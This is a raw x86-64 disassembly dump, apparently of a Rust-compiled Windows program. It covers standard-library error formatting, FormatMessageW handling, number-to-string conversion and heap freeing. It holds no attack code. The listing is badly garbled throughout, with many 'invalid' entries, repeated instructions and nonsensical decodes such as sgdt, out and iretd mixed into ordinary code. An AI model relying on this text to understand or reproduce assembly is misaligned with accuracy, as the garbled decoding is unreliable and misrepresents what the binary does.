movzx ecx, byte [rbp - 0x30]
mov dh, 0x4d
ror byte [rdi], 1
je 0x1400d6082
mov al, 1
test cl, cl
invalid
test dword [rdx], edi
invalid
je 0x1400d6082
sbb eax, dword [rcx]
add byte [rax], al
mov al, 1
test cl, cl
jne 0x1400d60ab
cmp al, byte [rcx]
add byte [rax], al
cmp al, byte [rcx]
add byte [rax], al
add dword [rax], eax
add byte [rax - 0x75], cl
mov rax, qword [rbp - 0x38]
test byte [rax + 0x34], 4
invalid
test dword [rcx + rax], edx
mov rax, qword [rbp - 0x38]
test byte [rax + 0x34], 4
xor al, 4
xor al, 4
jne 0x1400d6093
add byte [rax], al
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
mov eax, dword [rax + 0x28]
and byte [rax - 0x75], cl
mov eax, dword [rax + 0x28]
sub byte [rax - 0x73], cl
lea rdx, [0x140144f49]
adc eax, 0x6efbb
add byte [rcx - 0x48], al
add al, byte [rax]
add byte [rax], al
invalid
mov r8d, 2
add byte [rax], al
add bh, bh
invalid
call qword [rax + 0x18]
jmp 0x1400d60ab
add dword [rax], eax
invalid
push rax
sbb cl, ch
sgdt [rax]
add dword [rax], eax
add dword [rax], eax
add byte [rax - 0x3f], cl
out dx, eax
and byte [rbx - 0x78f0d701], al
jmp [rax]
invalid
invalid
shr rdi, 0x20
shr edi, 0x20
cmp edi, 0x28
ja case.default.0x1400d5fb7
pushfq
add dword [rax], eax
invalid
jmp [rax]
pushfq
add dword [rax], eax
add byte [rax - 0x73], cl
lea rax, [0x140178f6c]
lea rax, [0x140178f6c]
mov esp, 0x48000a2f
invalid
movsxd rcx, dword [rax + rdi*4]
invalid
add rcx, rax
add ecx, eax
jmp rcx
loope 0x1400d5feb
xor eax, eax
jmp 0x1400d618f
iretd
add dword [rax], eax
invalid
shr cl, 0xcf
add dword [rax], eax
add byte [rax - 0x73], cl
lea rax, [rdi - 1]
invalid
invalid
invalid
iretd
lea rax, [rdi - 1]
add rdi, 0xf
mov qword [rbp - 0x38], rax
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str.Customerror
adc eax, 0x74055
adc eax, 0x74055
mov r8d, 6
call qword [rax + 0x18]
add bh, bh
push rax
sbb byte [rax - 0x77], cl
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x20], rsi
mov byte [rbp - 0x18], al
mov byte [rbp - 0x17], 0
lea rax, [0x140149fc8]
lea eax, [0x140149fc8]
jmp 0x1459aa7f2
lea eax, [0x140149fc8]
invalid
mov qword [rsp + 0x20], rax
and al, 0x20
lea rdx, str.kind
lea rsi, [rbp - 0x20]
mov r8d, 4
mov rcx, rsi
mov r9, rdi
call fcn.140014510
lea rax, [0x14014a040]
mov qword [rsp + 0x20], rax
add byte [rax - 0x77], cl
and al, 0x20
and al, 0x20
lea rdx, [0x14014a036]
lea r9, [rbp - 0x38]
mov r8d, 5
mov rcx, rsi
call fcn.140014510
cmp byte [rbp - 0x17], 0
movzx ecx, byte [rbp - 0x18]
je 0x1400d607b
mov al, 1
test cl, cl
jne 0x1400d623b
mov rax, qword [rbp - 0x20]
mov eax, dword [rbp - 0x20]
test byte [rax + 0x34], 4
je 0x1400d5e86
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x14014a8ab]
mov r8d, 1
add byte [rax], al
add bh, bh
push rax
sbb cl, ch
rol byte [rcx], 0
invalid
add byte [rax], al
add bh, bh
push rax
sbb cl, ch
rol byte [rcx], 0
add byte [rcx + rcx*8 + 0x1b6e9], al
mov dh, 1
add byte [rax], al
test cl, cl
setne al
cmp qword [rbp - 0x20], 0
test cl, cl
jmp 0x1400d6238
mov dh, 1
add byte [rax], al
mov dh, 1
add byte [rax], al
test cl, cl
setne al
cmp qword [rbp - 0x20], 0
jne 0x1400d60b9
jmp 0x1400d623b
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x14014a8ab]
mov r8d, 1
call qword [rax + 0x18]
mov byte [rbp - 0x30], al
cmp qword [rbp - 0x20], 0
je 0x1400d623b
mov r8, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
mov rcx, qword [0x140182260]
xor edx, edx
ror byte [rcx - 0x6dea003d], cl
rol byte [rbx], cl
add eax, dword [rax]
ror byte [rcx - 0x6dea003d], cl
rol byte [rbx], cl
add eax, dword [rax]
mov eax, ebx
invalid
invalid
invalid
add eax, dword [rax]
mov eax, ebx
jmp 0x1400d623b
add byte [rax], al
add byte [rax], al
mov al, 0x25
jmp 0x1400d618f
add byte [rax], al
add byte [rax], al
mov al, 0x23
jmp 0x1400d618f
add byte [rax], al
add byte [rax], al
mov al, 0x24
jmp 0x1400d618f
add byte [rax], al
add byte [rax], al
mov al, 0x1b
jmp 0x1400d618f
add byte [rax], al
add byte [rax], al
mov al, 0x22
jmp 0x1400d618f
add byte [rax], al
add byte [rax], al
mov al, 0x10
adc cl, ch
nop
add byte [rax], al
add byte [rax], al
adc cl, ch
nop
add byte [rax], al
add byte [rax], al
mov al, 0xe
jmp 0x1400d618f
mov al, 0x21
jmp 0x1400d618f
invalid
add byte [rax], al
invalid
add byte [rax], al
mov al, 0xe
jmp 0x1400d618f
add byte [rax + 0x82e921], dh
add byte [rax], al
invalid
mov al, 0xb
jmp 0x1400d618f
mov al, 4
jmp 0x1400d618f
mov al, 0x28
jmp 0x1400d618f
mov al, 0xc
jmp 0x1400d618f
mov al, 9
jmp 0x1400d618f
mov al, 0x19
jmp 0x1400d618f
sbb ebx, ebp
push 0xffffffffffffffb0
mov al, 0x18
jmp 0x1400d618f
mov al, 2
mov al, 0x18
jmp 0x1400d618f
mov al, 2
jmp 0x1400d618f
mov al, 0xf
jmp 0x1400d618f
mov al, 3
jmp 0x1400d618f
mov al, 1
jmp 0x1400d618f
add ebx, ebp
push rdx
mov al, 0x1f
jmp 0x1400d618f
mov al, 0x11
jmp 0x1400d618f
mov al, 0x29
jmp 0x1400d618f
mov al, 0x14
jmp 0x1400d618f
mov al, 5
jmp 0x1400d618f
mov al, 0x15
jmp 0x1400d618f
mov al, 0xd
jmp 0x1400d618f
mov al, 6
jmp 0x1400d618f
mov al, 0x12
jmp 0x1400d618f
invalid
mov al, 0xa
mov al, 0xa
jmp 0x1400d618f
mov al, 8
jmp 0x1400d618f
mov al, 0x1e
jmp 0x1400d618f
mov al, 0x20
jmp 0x1400d618f
mov al, 0x16
jmp 0x1400d618f
mov al, 0x27
jmp 0x1400d618f
invalid
invalid
mov al, 0x13
jmp 0x1400d618f
invalid
adc dh, byte [rax - 0x4ff114e9]
sbb al, 0xeb
mov al, 0x17
jmp 0x1400d618f
invalid
invalid
or dh, byte [rax - 0x4ff914e3]
jmp 0x1400d618f
invalid
mov byte [rbp - 0x38], al
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str.Kind
mov r8d, 4
call qword [rax + 0x18]
mov qword [rbp - 0x18], rsi
jne 0x1400d6196
jne 0x1400d6196
mov byte [rbp - 0x10], al
mov qword [rbp - 0x20], 0
loopne 0x1400d61b6
add byte [rax], al
add dh, al
int1
add byte [rbp + rcx*4 + 5], cl
add al, 0x3e
invalid
invalid
invalid
loopne 0x1400d61b6
add byte [rax], al
add dh, al
int1
add byte [rbp + rcx*4 + 5], cl
add al, 0x3e
invalid
lea rcx, [rbp - 0x20]
lea rdx, [rbp - 0x38]
call fcn.140016570
mov rcx, qword [rbp - 0x20]
movzx edx, byte [rbp - 0x10]
test rcx, rcx
je case.0x1400d5dee.45
mov al, 1
test dl, dl
jne case.0x1400d5dee.48
sub byte [rax - 0x73], cl
adc eax, 0x6e977
mov r8d, 1
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne case.0x1400d5dee.48
jmp 0xf84e6211
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14014e078]
mov r8d, 1
call qword [rax + 0x18]
sbb bl, ch
invalid
sbb bl, ch
add cl, byte [rcx + 0xfc084d0]
mov eax, edx
test al, al
setne al
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop rbp
mov eax, edx
test al, al
setne al
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop rbp
ret
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
add byte [rax - 0x77], cl
push rsp
and al, 0x10
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x60]
cmp qword [rbp - 0x20], 0
je 0x1400d627b
jge 0x1400d6245
add byte [rbx + rdx + 0x4c], dh
mov r8, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
mov rcx, qword [0x140182260]
xor edx, edx
mov edi, 0xd231000a
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
stc
sbb al, 0x27
add byte [rax], al
jle 0x1400d62ec
lea edx, [rcx - 0x271d]
cmp edx, 0x34
ja case.default.0x1400d62c3
lea rcx, [0x140179438]
movsxd rdx, dword [rcx + rdx*4]
add rdx, rcx
jmp rdx
mov al, 0xd
pop rbp
ret
lea ecx, [0x140179010]
movsxd rdx, dword [rcx + rdx*4]
add rdx, rcx
jmp rdx
pop rbp
ret
cmp ecx, 0x50e
jle 0x1400d6325
cmp ecx, 0x1b7f
jg 0x1400d6351
cmp ecx, 0x1715
jg 0x1400d63b6
adc eax, 0xf000017
invalid
cmp ecx, 0x50f
je 0x1400d6444
cmp ecx, 0x5b4
je case.0x1400d62c3.10060
jmp case.0x1400d62c3.10014
add byte [rcx + 0x46af9], al
add byte [rsi + 0x53], bh
cmp ecx, 0x46a
jle case.0x1400d5dee.62
cmp ecx, 0x4ce
jg 0x1400d63dc
cmp ecx, 0x46b
je case.0x14002a2ab.2553
test byte [rbx], al
add dword [rax], eax
invalid
add al, 0
add byte [rdi], cl
test byte [rbx], al
add dword [rax], eax
add byte [rcx + 0x476f9], al
cmp ecx, 0x476
jbe 0x1400d634d
add al, 0
add byte [rax], al
add byte [rbp + 0x65], dh
jne case.0x1400d62c3.10014
mov al, 0x20
mov al, 0x20
pop rbp
ret
cmp ecx, 0x2021
jg 0x1400d63c8
cmp ecx, 0x1b80
je case.0x1400d62c3.10060
cmp ecx, 0x1f4e
je case.0x1400d62c3.10060
outsd dx, dword [rsi]
outsd dx, dword [rsi]
jmp case.0x1400d62c3.10014
lea r8d, [r9 - 0x3c2a]
lea eax, [rcx - 0x3c2a]
inc dword [rbx + 0x627202f8]
cmp eax, 2
jb case.0x1400d62c3.10060
cmp ecx, 0x35ed
in eax, dx
xor eax, 0x5a740000
add byte [rax], al
je case.0x1400d62c3.10060
add byte [rax], al
je case.0x1400d62c3.10060
jmp case.0x1400d62c3.10014
cmp ecx, 0x3e3
add eax, dword [rax]
add byte [rax + rdx*2 - 0x7f], dh
cmp ecx, 0x41d
je case.0x1400d62c3.10060
cmp ecx, 0x461
add byte [rax], al
je case.0x1400d62c3.10060
cmp ecx, 0x41d
add byte [rax], al
add byte [rax + rcx*2 - 0x7f], dh
stc
invalid
je case.0x1400d62c3.10060
cmp ecx, 0x461
je case.0x1400d62c3.10060
jmp case.0x1400d62c3.10014
movabs byte [0x252f981000000], al
add byte [rsi + riz - 0x50], dh
mov al, 0x28
pop rbp
ret
mov al, 0x28
pop rbp
ret
cmp ecx, 0x1716
je case.0x1400d62c3.10060
cmp ecx, 0x1b64
je case.0x1400d62c3.10060
jmp case.0x1400d62c3.10014
cmp ecx, 0x2022
je case.0x1400d62c3.10060
cmp ecx, 0x25e9
jne case.0x1400d62c3.10014
mov al, 0x16
pop rbp
ret
cmp ecx, 0x4cf
je case.0x1400d62c3.10051
cmp ecx, 0x4d0
jne case.0x1400d62c3.10014
stc
rol byte [rax + rax], 1
add byte [rbp - 0x3a], dh
mov al, 4
pop rbp
ret
mov al, 0x14
pop rbp
ret
mov al, 5
pop rbp
ret
mov al, 2
pop rbp
ret
mov al, 9
pop rbp
ret
mov al, 8
pop rbp
ret
mov al, 6
pop rbp
ret
mov al, 0xa
pop rbp
ret
or bl, byte [rbp - 0x3d]
mov al, 3
pop rbp
ret
mov al, 7
pop rbp
ret
sbb dword [rbp - 0x3d], ebx
ret
mov al, 0x24
pop rbp
ret
adc dword [rbp - 0x3d], ebx
mov al, 0x1b
pop rbp
ret
mov al, 0x1a
pop rbp
ret
mov al, 0x1e
pop rbp
ret
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax + 0x10], eax
add byte [rax], al
invalid
ret
xor byte [rax - 0x73], cl
or eax, 0x74d6a
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x1400d64cf
mov r14, rax
mov esi, eax
and ebx, 0xefffffff
invalid
out dx, eax
mov dword [rbp + 0x103c], ebx
mov ecx, 0x1a00
jmp 0x1400d64d7
invalid
xor r14d, r14d
mov ecx, 0x1200
add byte [rax], al
idiv byte [rcx + 0x1200]
add byte [rax], al
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x800
add byte [rax], cl
add byte [rax], al
mov rdx, r14
mov r8d, ebx
xor r9d, r9d
xor ecx, ecx
xor ecx, ecx
call qword [sym.imp.kernel32.dll_FormatMessageW]
test eax, eax
je 0x1400d65f3
mov ebx, eax
cmp eax, 0x801
or byte [rax], al
add byte [rdi], cl
sbb edi, 3
add byte [rax], al
add byte [rax], al
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, rbx
call fcn.1400df910
test rax, rax
je 0x1400d6904
mov qword [rbp + 0x1008], rbx
mov qword [rbp + 0x1010], rax
mov qword [rbp + 0x1018], 0
lea r14, [rbx*2 - 0x40]
add r14, rbp
movabs r15, 0x100000000
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
popfq
or byte [rax], dl
add byte [rax], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
popfq
or byte [rax], dl
add byte [rax], al
jmp 0x1400d6582
add byte [rax], al
add byte [rax], al
shl edx, 0x10
mov rdi, rcx
shr rdx, 0x10
mov rcx, rbx
call fcn.140011230
invalid
invalid
cmp rdi, r14
je 0x1400d6697
or al, 1
add byte [rax], al
or al, 1
add byte [rax], al
lea rcx, [rdi + 2]
movzx eax, word [rdi]
movzx edx, ax
mov r8d, eax
and r8d, 0xf800
add al, bh
add byte [rax], al
add byte [rcx - 0x7f], al
clc
add al, bl
add byte [rax], al
add byte [rcx - 0x7f], al
clc
add al, bl
add byte [rax], al
jne 0x1400d6570
add byte [rdi], cl
mov bh, 0xc9
cmp ecx, 0xfc00
jb 0x1400d66d4
add rdi, 4
and eax, 0x3ff
and edx, 0x3ff
shl rax, 0x1a
shl edx, 0x10
or rdx, rax
add rdx, r15
jmp 0x1400d6576
call qword [sym.imp.kernel32.dll_GetLastError]
mov dword [rbp + 0x1038], eax
lea rax, [rbp + 0x103c]
mov qword [rbp + 0xfc0], rax
lea rax, [0x140019870]
mov qword [rbp + 0xfc8], rax
lea rcx, [rbp + 0x1038]
mov qword [rbp + 0xfd0], rcx
mov qword [rbp + 0xfd8], rax
lea rax, str.OS_Error___FormatMessageW___returned_error
and dword [rdi + rax], ecx
mov qword [rbp + 0x1008], rax
mov qword [rbp + 0x1010], 3
mov qword [rbp + 0x1028], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
test eax, eax
sldt word [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
test eax, eax
sldt word [rax]
mov qword [rbp + 0x1018], rax
mov qword [rbp + 0x1020], 2
lea rcx, [rbp + 0xfe0]
lea rdx, [rbp + 0x1008]
call fcn.140010f70
mov rax, qword [rbp + 0xff0]
mov qword [rsi + 0x10], rax
movups xmm0, xmmword [rbp + 0xfe0]
jmp 0x1400d6772
test dword [rax], ebx
adc byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], esp
adc byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x73], cl
invalid
or byte [rcx + 0x39], 0xc6
je 0x1400d66f4
mov rbx, qword [rbp + 0x1010]
mov rcx, qword [rbp + 0x1018]
adc byte [rax], al
add byte [rax - 0x7b], cl
leave
je 0x1400d6899
lea r8, [rbx + rcx]
lea rdx, [0x140149588]
jmp 0x1400d67a9
add byte [rax], al
cmp qword [rbp + 0x1008], 0
je 0x1400d66f4
mov r8, qword [rbp + 0x1010]
mov rcx, qword [0x140182260]
add byte [rax - 0x75], cl
or eax, 0xabb74
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [rbp + 0x103c]
cmp al, 0x10
add byte [rax], al
adc byte [rax], al
add byte [rax - 0x77], cl
test eax, esp
loopne 0x1400d670f
add byte [rax], al
mov qword [rbp + 0xfe0], rax
mov dword [rbp + 0xfe0], eax
loopne 0x1400d670f
add byte [rax], al
lea rax, [0x140019870]
mov qword [rbp + 0xfe8], rax
invalid
sldt word [rax]
xor esp, esi
dec dword [rax - 0x77]
test eax, ebp
invalid
sldt word [rax]
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, str.OS_Error___FormatMessageW___returned_error
add eax, 0x74be1
mov qword [rbp + 0x1008], rax
mov qword [rbp + 0x1010], 2
test dword [rax], ecx
adc byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], edx
adc byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], ebp
adc byte [rax], dl
add byte [rax], al
add al, byte [rax]
add byte [rax], al
mov qword [rbp + 0x1028], 0
lea rax, [rbp + 0xfe0]
adc byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
test eax, esp
sldt word [rax]
mov qword [rbp + 0x1018], rax
mov qword [rbp + 0x1020], 1
add byte [rax - 0x73], cl
invalid
ror byte [rdi], 0
add byte [rax - 0x73], cl
xchg ebp, eax
or byte [rax], dl
add byte [rax], al
call fcn.140010f70
mov rax, qword [rbp + 0xfd0]
mov qword [rsi + 0x10], rax
adc byte [rdi], cl
adc byte [rbp + 0xfc0], al
add byte [rax - 0x73], cl
invalid
adc byte [rbp + 0xfc0], al
movups xmmword [rsi], xmm0
add rsp, 0x10c8
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
movzx r9d, r9b
movzx r9d, byte [r9 + rdx]
mov dh, 0xc
or al, 0x11
or al, 0x11
shr r9b, 1
and r9b, 1
test r9b, r9b
test cl, cl
je 0x1400d68ab
nop
cmp r8, rbx
je 0x1400d6899
mov rax, r8
mov eax, eax
rol byte [rbp + 0xf], 0xb6
inc qword [rbp - 0x7c]
inc dword [rbp - 0x7c]
movzx r9d, byte [r8 - 1]
test r9b, r9b
inc dword [rbp - 0x7c]
leave
js 0x1400d67c0
lea r8, [rax - 1]
movzx r9d, r9b
leave
jmp 0x1400d6822
movzx r10d, byte [rax - 2]
cmp r10b, 0xc0
jge 0x1400d67ed
invalid
inc byte [rcx - 0x80]
cli
sar byte [rbp + 0x22], 0x44
and al, byte [rdi + rcx - 0x4a]
pop rax
std
and al, byte [rdi + rcx - 0x4a]
pop rax
std
movzx r11d, byte [rax - 3]
cmp r11b, 0xbf
cmp bl, 0xbf
jg 0x1400d67f7
lea r8, [rax - 4]
movzx edi, byte [rax - 4]
js 0x1400d67da
and edi, 7
out 7, eax
shl edi, 6
and r11d, 0x3f
and ebx, 0x3f
and ebx, 0x3f
or r11d, edi
jmp 0x1400d67ff
lea r8, [rax - 2]
and r10d, 0x1f
jmp 0x1400d680a
invalid
adc ecx, dword [rbp + rcx*4 + 0x40]
std
lea r8, [rax - 3]
and r11d, 0xf
shl r11d, 6
and r10d, 0x3f
and edx, 0x3f
and edx, 0x3f
invalid
or r10d, r11d
shl r10d, 6
and r9b, 0x3f
movzx r9d, r9b
or r9d, r10d
cmp r9d, 0x110000
je 0x1400d6899
lea r10d, [r9 - 9]
cmp r10d, 5
jb 0x1400d67a0
cmp r9d, 0x20
je 0x1400d67a0
cmp r9d, 0x80
jb 0x1400d68ab
mov r10d, r9d
shr r10d, 8
cmp r10d, 0x1f
jg 0x1400d686b
test r10d, r10d
je 0x1400d688b
cmp r10d, 0x16
jne 0x1400d68ab
cmp r9d, 0x1680
sete r9b
jmp 0x1400d6795
invalid
invalid
invalid
invalid
cmp r10d, 0x20
je 0x1400d6785
cmp r10d, 0x30
jne 0x1400d68ab
cmp r9d, 0x3000
cmp ecx, 0x3000
sete r9b
sete cl
jmp 0x1400d6795
movzx r9d, r9b
movzx r9d, byte [r9 + rdx]
jmp 0x1400d6791
invalid
invalid
invalid
xor eax, eax
mov qword [rsi], r14
mov qword [rsi + 8], rbx
pop rsi
or byte [rax - 0x77], cl
adc cl, r13b
jmp 0x1400d6775
sub rax, rbx
cmp rcx, rax
jae 0x1400d68b8
mov rax, rcx
jmp 0x1400d689b
test rax, rax
je 0x1400d689b
cmp rcx, rax
jbe 0x1400d689b
invalid
cmp byte [rbx + rax], 0xbf
jg 0x1400d689b
mov qword [rbp + 0xff8], r14
mov qword [rbp + 0x1000], rbx
invalid
add byte [rax - 0x77], cl
popfq
add byte [rax], dl
add byte [rax], al
invalid
lea rcx, str.assertion_failed:_self.is_char_boundary_new_len_
lea r8, [0x140172bb0]
or dword [rax], eax
or dword [rax], eax
mov edx, 0x30
call fcn.140108630
ud2
lea r8, str.library_std_src_syspalwindowsos.rs
mov edx, 0x800
mov rcx, rbx
mov ecx, ebx
mov ecx, ebx
call fcn.140108620
mov ecx, 1
mov rdx, rbx
call fcn.1401082a0
int3
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rdx + 0x80]
cmp qword [rbp + 0x1008], 0
adc byte [rax], al
add byte [rax], al
adc byte [rax], al
add byte [rax], al
je case.0x1400b36b6.709
mov r8, qword [rbp + 0x1010]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
add eax, dword [rax]
add eax, dword [rax]
nop
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
mov dword [rsp + 0x10], edx
push rbp
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x38
cmp byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax], al
add byte [rax - 0x7d], cl
mov ebp, 0xff8
invalid
cmp byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax], al
add byte [rax - 0x7d], cl
mov ebp, 0xff8
add byte [rsi + rdx + 0x48], dh
je 0x1400d69a8
mov rcx, qword [0x140182260]
je 0x1400d69a8
mov rcx, qword [0x140182260]
or eax, 0xab8c7
xor edx, edx
mov r8, qword [rbp + 0x1000]
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
add dword [rax - 0x75], ecx
or byte [rax - 0x75], cl
or byte [rax - 0x75], cl
sbb byte [rbp + 0x48], bl
jmp rax
in eax, 0x48
mov eax, dword [rcx]
mov r10, qword [rcx + 8]
mov r8, qword [rdx + 0x20]
and byte [rbx + rcx*4 + 0x4a], cl
sub byte [rax - 0x77], cl
mov ecx, eax
and byte [rbx + rcx*4 + 0x4a], cl
sub byte [rax - 0x77], cl
invalid
sub byte [rax - 0x77], cl
mov ecx, eax
ror dword [rcx + rcx*4 - 0x2e], 0x5d
mov rdx, r10
pop rbp
jmp fcn.140017070
lea ecx, [0x14014c030]
mov r8, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
lea rcx, [0x14014c178]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
push rdx
sub byte [rbx + rcx*4 + 0x4a], cl
sbb byte [rax - 0x77], cl
ret 0x495d
jmp r9
invalid
and byte [rax - 0x75], cl
push rdx
sub byte [rbx + rcx*4 + 0x4a], cl
sbb byte [rax - 0x77], cl
ret 0x495d
invalid
int3
int3
jne 0x1400d6b38
test al, 0x20
jne 0x1400d6b89
mov r10, rdx
mov r8d, dword [rcx]
mov ecx, r8d
neg ecx
cmovs ecx, r8d
mov eax, 0x27
add byte [rax], al
lea r9, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
cmp ecx, 0x2710
stc
adc byte [rdi], ah
add byte [rax], al
jb 0x1400d6c15
mov esi, 0x27
movabs r11, 0x346dc5d63886594b
nop dword [rax]
mov rax, rcx
mul r11
shr rdx, 0xb
imul eax, edx, 0x2710
mov edi, ecx
sub edi, eax
imul ebx, edi, 0x147b
shr ebx, 0x13
imul eax, ebx, 0x64
sub edi, eax
movzx edi, di
lea rax, [rsi - 4]
movzx ebx, word [r9 + rbx*2]
mov word [rbp + rsi - 0x4c], bx
movzx edi, word [r9 + rdi*2]
mov word [rbp + rsi - 0x4a], di
mov rsi, rax
cmp rcx, 0x5f5e0ff
mov rcx, rdx
ja 0x1400d6aa0
cmp rdx, 0x63
jbe 0x1400d6b1c
movzx ecx, dx
shr ecx, 2
imul ecx, ecx, 0x147b
shr ecx, 0x11
imul r11d, ecx, 0x64
sub edx, r11d
movzx edx, dx
movzx edx, word [r9 + rdx*2]
mov word [rbp + rax - 0x4a], dx
add rax, 0xfffffffffffffffe
mov rdx, rcx
mov rcx, r10
cmp rdx, 0xa
jae 0x1400d6c27
or dl, 0x30
mov byte [rbp + rax - 0x49], dl
dec rax
jmp 0x1400d6c35
mov eax, dword [rcx]
mov r9d, 0x81
mov r8d, eax
nop word cs:[rax + rax]
mov rcx, r9
shr r8d, 4
mov r9d, eax
and r9b, 0xf
lea r10d, [r9 + 0x30]
lea r11d, [r9 + 0x57]
cmp r9b, 0xa
movzx r9d, r10b
movzx r10d, r11b
cmovb r10d, r9d
mov byte [rbp + rcx - 0x4a], r10b
lea r9, [rcx - 1]
cmp eax, 0x10
mov eax, r8d
jae 0x1400d6b50
jmp 0x1400d6bd7
mov eax, dword [rcx]
mov r9d, 0x81
mov r8d, eax
nop word cs:[rax + rax]
mov rcx, r9
shr r8d, 4
mov r9d, eax
and r9b, 0xf
lea r10d, [r9 + 0x30]
lea r11d, [r9 + 0x37]
cmp r9b, 0xa
movzx r9d, r10b
movzx r10d, r11b
cmovb r10d, r9d
mov byte [rbp + rcx - 0x4a], r10b
lea r9, [rcx - 1]
cmp eax, 0x10
mov eax, r8d
jae 0x1400d6ba0
add rcx, 0xfffffffffffffffe
cmp rcx, 0x81
jae 0x1400d6c71
mov eax, 0x81
sub rax, r9
add rcx, rbp
add rcx, 0xffffffffffffffb8
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [0x140172d18]
mov r9d, 2
mov rcx, rdx
mov dl, 1
jmp 0x1400d6c5f
mov rdx, rcx
cmp rdx, 0x63
ja 0x1400d6af2
invalid
invalid
invalid
jmp 0x1400d6b1c
inc dword [rcx + 0xf]
mov bh, 0x14
push rcx
movzx edx, word [r9 + rdx*2]
mov word [rbp + rax - 0x4a], dx
add rax, 0xfffffffffffffffe
test r8d, r8d
setns dl
ret 0x8d4c
add al, 0x28
add r8, 0xffffffffffffffb8
sar byte [rax + 0x27b941], 0
add byte [rcx + 0x29], cl
ror dword [rcx + rcx*4 + 0x4c], 0x24
sub byte [rcx + rcx*4 + 0x44], cl
and al, 0x20
invalid
ret 0x8d4c
sar byte [rax + 0x27b941], 0
add byte [rcx + 0x29], cl
ror dword [rcx + rcx*4 + 0x4c], 0x24
sub byte [rcx + rcx*4 + 0x44], cl
and al, 0x20
invalid
and byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
mov r8d, 1
xor r9d, r9d
call fcn.140012de0
nop
add rsp, 0xb8
pop rbx
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x140115248]
shl ch, 1
add eax, dword [rax]
mov edx, 0x80
call fcn.1401085a0
int3
mov dh, 0xa
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
lea rcx, [rax + 0xc0]
lea rdx, [0x1400d46e0]
adc eax, 0xffffd9ef
adc eax, 0xffffd9ef
call fcn.1400d4720
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
add al, 0xc1
invalid
add al, 0xc1
mov byte [rax + 0xc8], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rax - 0x75], cl
add al, 0xc1
add byte [rax - 0x75], cl
add al, 0xc1
mov rsi, qword [rax + 0xc0]
test rsi, rsi
jne 0x1400d6d4e
call fcn.140110220
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rsi, qword [rax + 0xc0]
lock inc qword [rsi]
jle 0x1400d6dde
test rsi, rsi
je 0x1400d6dc6
lock dec byte [rsi + 0x30]
je 0x1400d6d9e
lea rdi, [rsi + 0x30]
lea rbx, [0x14014b748]
mov r14, qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WaitOnAddress]
xor r15d, r15d
nop dword [rax + rax]
mov r8d, 1
mov rcx, rdi
mov rdx, rbx
mov r9d, 0xffffffff
call r14
mov al, 1
lock cmpxchg byte [rdi], r15b
jne 0x1400d6d80
lock dec qword [rsi]
jne 0x1400d6db8
mov rcx, rsi
add rsp, 0x28
pop rbx
pop rdi
